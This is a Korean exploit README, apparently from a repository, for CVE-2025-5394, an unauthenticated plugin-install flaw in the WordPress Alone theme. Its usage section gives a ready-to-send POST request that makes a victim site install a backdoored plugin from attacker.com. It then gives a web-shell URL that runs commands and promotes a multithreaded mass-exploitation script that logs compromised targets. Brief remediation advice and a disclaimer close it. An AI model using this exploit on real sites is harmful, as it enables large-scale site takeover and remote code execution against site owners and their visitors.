CVE-2025-5394 – WordPress Alone 테마 <= 7.8.3 - 인증되지 않은 임의 파일 업로드를 통한 플러그인 설치

🔥 취약점 요약
WordPress 테마 Alone 버전 <= 7.8.3은 인증되지 않은 임의 파일 업로드 취약점에 영향을 받습니다. 이 결함으로 인해 인증되지 않은 공격자가 보호되지 않은 AJAX 엔드포인트를 통해 원격 URL에서 임의의 플러그인 ZIP 파일을 업로드하고 설치할 수 있으며, 결과적으로 백도어가 포함된 플러그인을 배포하여 **원격 코드 실행(RCE)**이 가능합니다.

이 취약점은 wp_ajax_nopriv_을 통해 공개적으로 노출된 beplus_import_pack_install_plugin 함수에서 발생하며, 인증이나 권한 확인이 전혀 없습니다. 이 함수는 사용자가 제공한 URL에서 플러그인을 설치하고 활성화합니다.

🔍 영향을 받는 테마

테마 이름: Alone – Charity Multipurpose Non-profit WordPress Theme
영향을 받는 버전: <= 7.8.3
취약점 유형: 인증되지 않은 임의 파일 업로드 → RCE
CVE ID: CVE-2025-5394
CVSS 점수: 9.8 (치명적)
영향: 전체 원격 코드 실행(RCE) 및 전체 사이트 장악

🧪 익스플로잇 특징

🔓 인증 불필요
📦 원격 URL에서 악성 플러그인 ZIP 업로드
🚀 플러그인 자동 설치 및 활성화
🐚 플러그인 내 PHP 내장을 통한 웹쉘 전달 지원
✅ 인증되지 않은 사용자가 접근 가능한 AJAX 엔드포인트: /wp-admin/admin-ajax.php?action=beplus_import_pack_install_plugin

🧠 연구자

크레딧: Thai An

🚀 사용 방법

자신이 제어하는 서버에 악성 플러그인 ZIP 파일을 준비합니다.
- 유효한 플러그인 헤더(Plugin Name:)와 PHP 백도어(예: bk.php)가 포함되어야 함

다음 POST 요청을 만듭니다:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded

action=beplus_import_pack_install_plugin&
data[plugin_slug]=hello-dolly&
data[plugin_source]=https://attacker.com/hello-dolly.zip

성공하면 플러그인이 설치 및 활성화됩니다. 다음에서 셸에 접근하십시오:
```
https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
```

🧰 대량 익스플로잇 스크립트 이 저장소에는 다음과 같은 기능을 갖춘 대량 익스플로잇 도구가 포함되어 있습니다:

멀티스레드 처리
HTTPS 자동 접두사 추가(누락된 경우)
성공한 대상의 실시간 로깅 (result.txt에 저장)

자세한 내용은 mass_beplus_exploit.py를 참조하십시오.

🛠 해결 권장 사항

테마 개발자는 wp_ajax_nopriv_beplus_import_pack_install_plugin 훅을 제거하거나 보호해야 합니다.
인증/권한 확인 구현 (예: current_user_can('install_plugins'))
플러그인 소스 검증 및 제한
웹 애플리케이션 방화벽(WAF)을 사용하여 무단 admin-ajax 접근 차단

🔒 면책 조항:
이 정보는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 무단 접근 또는 컴퓨터 시스템 사용은 불법이며 비윤리적입니다.

📚 참고 자료:

Wordfence 권고 – CVE-2025-5394

CVE: CVE-2025-5394
연구자: Thai An

CVE-2025-5394

인기

CVE-2025-5394 – WordPress Alone 테마 <= 7.8.3 - 인증되지 않은 임의 파일 업로드를 통한 플러그인 설치